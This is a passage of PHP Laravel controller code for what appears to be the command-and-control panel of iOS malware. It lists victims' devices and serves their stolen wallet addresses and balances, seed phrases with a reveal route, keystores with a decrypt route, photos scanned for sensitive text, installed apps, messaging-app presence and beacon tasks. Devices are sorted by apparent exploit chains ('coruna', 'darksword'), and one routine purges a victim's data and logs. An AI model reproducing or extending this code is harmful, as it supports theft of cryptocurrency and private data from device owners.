isAgentPortal() ? collect() : User::query()->orderBy('username')->get(['id', 'username']); return view('admin.devices.index', [ 'portal' => $this->portal(), 'agents' => $agents, ]); } public function data(Request $request) { $filters = $this->filtersFrom($request); $q = $this->filteredQuery($filters); $sortable = ['id', 'device_id', 'chain', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'created_at'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { $field = 'created_at'; } $q->orderBy('devices.'.$field, $order); $limit = max(1, min(100, (int) $request->query('limit', 20))); $page = max(1, (int) $request->query('page', 1)); $paginator = $q->paginate($limit, ['devices.*'], 'page', $page); $portal = $this->portal(); $data = collect($paginator->items())->map(function (Device $d) use ($portal) { return [ 'id' => $d->id, 'device_id' => $d->device_id, 'chain' => (int) ($d->chain ?: Device::CHAIN_CORUNA), 'channel_id' => $d->channel_id ?: '', 'source_domain' => $d->source_domain ?: '', 'device_model' => $d->device_model ?: '', 'ios_version' => $d->ios_version ?: '', 'ip' => $d->ip ?: '', 'has_wallet' => (int) $d->has_wallet, 'wallet_names' => $d->walletNameList(), 'has_whatsapp' => $d->hasWhatsApp() ? 1 : 0, 'has_telegram' => $d->hasTelegram() ? 1 : 0, 'im_names' => $d->imNameList(), 'album_storage' => $d->albumStorageEnabled() ? 1 : 0, 'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $d), 'destroy_url' => route($portal.'.devices.destroy', $d), ]; })->values(); return response()->json([ 'code' => 0, 'msg' => '', 'count' => $paginator->total(), 'data' => $data, ]); } public function show(Device $device, Request $request) { $this->authorizeDevice($device); $tab = $request->query('tab', 'wallets'); if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) { $tab = 'wallets'; } $addressSources = collect(); $addressChains = collect(); if ($tab === 'wallets') { $addressSources = $device->addresses() ->whereNotNull('source') ->where('source', '!=', '') ->distinct() ->orderBy('source') ->pluck('source') ->values(); $addressChains = $device->addresses() ->whereNotNull('chain_type') ->where('chain_type', '!=', '') ->distinct() ->orderBy('chain_type') ->pluck('chain_type') ->values(); } $device->load(['beaconTasks']); return view('admin.devices.show', [ 'device' => $device, 'tab' => $tab, 'addressSources' => $addressSources, 'addressChains' => $addressChains, 'portal' => $this->portal(), 'beaconTasks' => $device->beaconTasks, 'can_reveal' => $this->canRevealMnemonics(), 'google_bound' => $this->googleBoundForReveal(), 'can_clear_photos' => $this->canClearPhotos(), ]); } public function tabData(Device $device, Request $request) { $this->authorizeDevice($device); $tab = (string) $request->query('tab', 'wallets'); $limit = max(1, min(100, (int) $request->query('limit', 20))); $page = max(1, (int) $request->query('page', 1)); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; $field = (string) $request->query('field', 'id'); return match ($tab) { 'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page), 'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page), 'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page), 'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page), 'apps' => $this->paginateApps($device, $field, $order, $limit, $page), 'notes' => $this->paginateNotes($device, $field, $order, $limit, $page), 'events' => $this->paginateEvents($device, $field, $order, $limit, $page), default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]), }; } public function photo(Device $device, int $photo, PhotoPreview $preview) { $this->authorizeDevice($device); $row = $device->photos()->whereKey($photo)->firstOrFail(); abort_unless(Storage::disk('local')->exists($row->path), 404); $abs = Storage::disk('local')->path($row->path); $out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: '')); return response($out['bytes'], 200) ->header('Content-Type', $out['mime']); } public function update(Request $request, Device $device) { $this->authorizeDevice($device); $data = $request->validate([ 'album_storage' => ['required', 'integer', 'in:0,1'], ]); $device->album_storage = (int) $data['album_storage'] === 1; $device->save(); return response()->json([ 'code' => 0, 'msg' => 'ok', 'data' => [ 'id' => $device->id, 'album_storage' => $device->albumStorageEnabled() ? 1 : 0, ], ]); } public function clearPhotos(Device $device) { if (! $this->canClearPhotos()) { return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403); } $this->authorizeDevice($device); $deletedFiles = $this->deletePhotoFiles($device); app(PhotoPreview::class)->forgetForDevice((string) $device->device_id); $deletedRows = $device->photos()->delete(); $this->deleteStorageDir('c2/photos/'.$device->device_id); return response()->json([ 'code' => 0, 'msg' => 'ok', 'data' => [ 'deleted_rows' => (int) $deletedRows, 'deleted_files' => $deletedFiles, ], ]); } public function destroy(Device $device) { $this->authorizeDevice($device); $listUrl = route($this->portal().'.devices.index'); $this->purgeDevice($device); return response()->json([ 'code' => 0, 'msg' => 'ok', 'data' => [ 'list_url' => $listUrl, ], ]); } private function purgeDevice(Device $device): void { $this->deletePhotoFiles($device); app(PhotoPreview::class)->forgetForDevice((string) $device->device_id); $this->deleteStorageDir('c2/photos/'.$device->device_id); $this->deleteStorageDir('c2/inbox/'.$device->device_id); $this->deleteStorageDir('c2/check/'.$device->device_id); $this->deleteStorageDir('c2/ds-results/'.$device->device_id); $this->deleteStorageDir('c2/ds-chunks/'.$device->device_id); $this->deleteStorageDir('c2/plugin-sessions/'.$device->device_id); $this->unmonitorAddresses($device); $this->purgeDarkSwordLogs($device); DB::transaction(function () use ($device) { $device->apps()->delete(); $device->events()->delete(); $device->photos()->delete(); $device->notes()->delete(); $device->addresses()->delete(); $device->mnemonics()->delete(); $device->keystores()->delete(); $device->pluginSessions()->delete(); $device->smsReports()->delete(); $device->beaconTasks()->delete(); $device->delete(); }); } private function purgeDarkSwordLogs(Device $device): void { $keys = $this->deviceLogKeys($device); if ($keys === []) { return; } DsChainLog::query()->whereIn('client_uid', $keys)->delete(); PageVisit::query()->whereIn('client_uid', $keys)->delete(); $this->purgeDsFileLogs($keys); } /** * @return list */ private function deviceLogKeys(Device $device): array { $raw = trim((string) $device->device_id); $hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $raw) ?? ''); $keys = []; foreach ([$raw, strtoupper($raw), $hex] as $key) { if ($key !== '' && ! in_array($key, $keys, true)) { $keys[] = $key; } } return $keys; } /** * @param list $keys */ private function purgeDsFileLogs(array $keys): void { $dir = public_path('log/ds'); if (! is_dir($dir)) { return; } $needles = array_values(array_unique(array_filter(array_map( static fn (string $key) => strtolower($key), $keys ), static fn (string $key) => strlen($key) >= 8))); if ($needles === []) { return; } foreach (glob($dir.'/*.log') ?: [] as $file) { $raw = @file_get_contents($file); if (! is_string($raw) || $raw === '') { continue; } $parts = preg_split("/\r\n\r\n|\n\n/", $raw) ?: []; $kept = []; $changed = false; foreach ($parts as $part) { if (trim($part) === '') { continue; } $hay = strtolower($part); $hit = false; foreach ($needles as $needle) { if (str_contains($hay, $needle)) { $hit = true; break; } } if ($hit) { $changed = true; continue; } $kept[] = $part; } if (! $changed) { continue; } $out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n"; @file_put_contents($file, $out); } } private function deletePhotoFiles(Device $device): int { $deletedFiles = 0; foreach ($device->photos()->get(['id', 'path']) as $photo) { $path = trim((string) ($photo->path ?? '')); if ($path === '') { continue; } if (Storage::disk('local')->exists($path)) { Storage::disk('local')->delete($path); $deletedFiles++; } } return $deletedFiles; } private function deleteStorageDir(string $dir): void { try { if (Storage::disk('local')->directoryExists($dir)) { Storage::disk('local')->deleteDirectory($dir); } } catch (\Throwable) { try { Storage::disk('local')->deleteDirectory($dir); } catch (\Throwable) { } } } private function unmonitorAddresses(Device $device): void { $addresses = $device->addresses()->where('monitor', 1)->get(); if ($addresses->isEmpty()) { return; } try { $svc = app(TokenviewMonitorService::class); } catch (\Throwable) { return; } foreach ($addresses as $address) { try { $address->monitor = 0; $svc->syncMonitor($address); } catch (\Throwable $e) { Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [ 'device_id' => $device->id, 'address_id' => $address->id, ]); } } } private function authorizeDevice(Device $device): void { if ($agent = $this->agent()) { $ids = AgentScope::channelIdsFor($agent); abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403); } } private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $q = $device->photos(); // sensitive=1 → x_hit > 0(含敏感词) if ((string) $request->query('sensitive', '') === '1') { $q->where('x_hit', '>', 0); } $paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $portal = $this->portal(); $data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) { return [ 'id' => $photo->id, 'url' => route($portal.'.devices.photo', [$device, $photo->id]), 'sha256' => $photo->sha256 ?: '', 'size' => $photo->size, 'x_hit' => $photo->x_hit, 'upload_count' => $photo->upload_count, 'process_index' => $photo->process_index, 'text_count' => $photo->text_count, 'barcode_count' => $photo->barcode_count, 'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'), ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'source', 'chain_type', 'address', 'created_at', 'updated_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $q = $device->addresses(); $source = trim((string) $request->query('source', '')); if ($source !== '') { $q->where('source', $source); } $chainType = trim((string) $request->query('chain_type', '')); if ($chainType !== '') { $q->where('chain_type', $chainType); } $paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $data = collect($paginator->items())->map(function (WalletAddress $addr) { $coins = $addr->formattedCoins(); return [ 'id' => $addr->id, 'source' => $addr->source ?: '', 'chain_type' => $addr->chain_type ?: '', 'address' => $addr->address, 'usdt' => $coins['usdt'], 'trx' => $coins['trx'], 'eth' => $coins['eth'], 'btc' => $coins['btc'], 'bnb' => $coins['bnb'], 'monitor' => (int) $addr->monitor, 'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'), ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function paginateMnemonics(Device $device, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'source', 'created_at', 'updated_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $canReveal = $this->canRevealMnemonics(); $data = collect($paginator->items())->map(function (WalletMnemonic $w) use ($canReveal) { return [ 'id' => $w->id, 'source' => $w->source ?: '', 'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic), 'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'), 'can_reveal' => $canReveal, 'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $w->id) : '', ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $paginator = $device->keystores()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $portal = $this->portal(); $data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) { return [ 'id' => $row->id, 'source' => $row->sourceLabel(), 'decrypted' => (int) $row->decrypted, 'kind' => $row->kindLabel(), 'item_count' => $row->itemCount(), 'summary' => $row->summary(), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'items_url' => route($portal.'.keystores.items', $row->id), 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function paginateApps(Device $device, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at']; if (! in_array($field, $sortable, true)) { $field = 'is_wallet'; $order = 'desc'; } $q = $device->apps(); if ($field === 'is_wallet') { $q->orderByDesc('is_wallet')->orderBy('name'); } else { $q->orderBy($field, $order); } $paginator = $q->paginate($limit, ['*'], 'page', $page); $data = collect($paginator->items())->map(function (DeviceApp $app) { return [ 'id' => $app->id, 'name' => $app->name ?: '', 'bundle_id' => $app->bundle_id ?: '', 'version' => $app->version ?: '', 'is_wallet' => (bool) $app->is_wallet, ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'created_at', 'updated_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $data = collect($paginator->items())->map(function (Note $note) { $content = $note->content; if (is_array($content)) { $content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); } return [ 'id' => $note->id, 'content' => $content ?: '', 'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'), ]; })->values(); return $this->layuiPage($paginator->total(), $data); } private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'event_name', 'desc', 'created_at']; if (! in_array($field, $sortable, true)) { $field = 'id'; } $paginator = $device->events()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); $data = collect($paginator->items())->map(function (DeviceEvent $ev) { return [ 'id' => $ev->id, 'event_name' => $ev->event_name ?: '', 'desc' => $ev->desc ?: '', 'context' => $ev->context_json ? json_encode($ev->context_json, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) : '', 'created_at' => optional($ev->created_at)->format('Y-m-d H:i:s'), ]; })->values(); return $this->layuiPage($paginator->total(), $data); } /** * @param Collection>|array> $data */ private function layuiPage(int $count, $data) { return response()->json([ 'code' => 0, 'msg' => '', 'count' => $count, 'data' => $data, ]); } /** * @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} */ private function filtersFrom(Request $request): array { $hasWallet = $request->query('has_wallet'); $hasWalletInt = null; if (in_array((string) $hasWallet, ['0', '1', '2'], true)) { $hasWalletInt = (int) $hasWallet; } $hasIm = strtolower(trim((string) $request->query('has_im', ''))); if (! in_array($hasIm, ['yes', 'none', 'whatsapp', 'telegram'], true)) { $hasIm = ''; } return [ 'device_key' => trim((string) $request->query('device_key', '')), 'chain' => $this->parseChainFilter($request->query('chain', $request->query('family'))), 'channel_id' => trim((string) $request->query('channel_id', '')), 'model' => trim((string) $request->query('model', '')), 'ip' => trim((string) $request->query('ip', '')), 'ios' => trim((string) $request->query('ios', '')), 'installed_from' => trim((string) $request->query('installed_from', '')), 'installed_to' => trim((string) $request->query('installed_to', '')), 'has_wallet' => $hasWalletInt, 'has_im' => $hasIm, 'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')), ]; } /** * @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters */ private function filteredQuery(array $filters): Builder { $q = Device::query()->select('devices.*'); AgentScope::applyDeviceChannelScope($q, $this->agent()); if ($filters['device_key'] !== '') { $q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%'); } if ($filters['chain'] !== null) { $q->where('devices.chain', $filters['chain']); } if ($filters['channel_id'] !== '') { $q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%'); } if ($filters['model'] !== '') { $q->where('devices.device_model', 'like', '%'.$filters['model'].'%'); } if ($filters['ip'] !== '') { $q->where('devices.ip', 'like', '%'.$filters['ip'].'%'); } if ($filters['ios'] !== '') { $q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%'); } if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) { $q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10)); } if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) { $q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10)); } if ($filters['has_wallet'] !== null) { $q->where('devices.has_wallet', $filters['has_wallet']); } if ($filters['has_im'] === 'yes') { $q->where(function (Builder $inner) { $inner->where('devices.has_whatsapp', true)->orWhere('devices.has_telegram', true); }); } elseif ($filters['has_im'] === 'none') { $q->where('devices.has_whatsapp', false)->where('devices.has_telegram', false); } elseif ($filters['has_im'] === 'whatsapp') { $q->where('devices.has_whatsapp', true); } elseif ($filters['has_im'] === 'telegram') { $q->where('devices.has_telegram', true); } if (! $this->isAgentPortal()) { AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']); } return $q; } private function parseChainFilter(mixed $raw): ?int { $value = is_string($raw) ? strtolower(trim($raw)) : $raw; if ($value === '' || $value === null) { return null; } if ($value === 1 || $value === '1' || $value === 'coruna') { return Device::CHAIN_CORUNA; } if ($value === 2 || $value === '2' || $value === 'darksword') { return Device::CHAIN_DARKSWORD; } return null; } private function canRevealMnemonics(): bool { if ($this->isAgentPortal()) { return false; } $admin = auth('admin')->user(); return $admin instanceof Admin && $admin->canRevealMnemonics(); } private function googleBoundForReveal(): bool { $admin = auth('admin')->user(); return $admin instanceof Admin && $admin->hasGoogleBound(); } private function canClearPhotos(): bool { if ($this->isAgentPortal()) { return false; } $admin = auth('admin')->user(); return $admin instanceof Admin && $admin->isSuper(); } }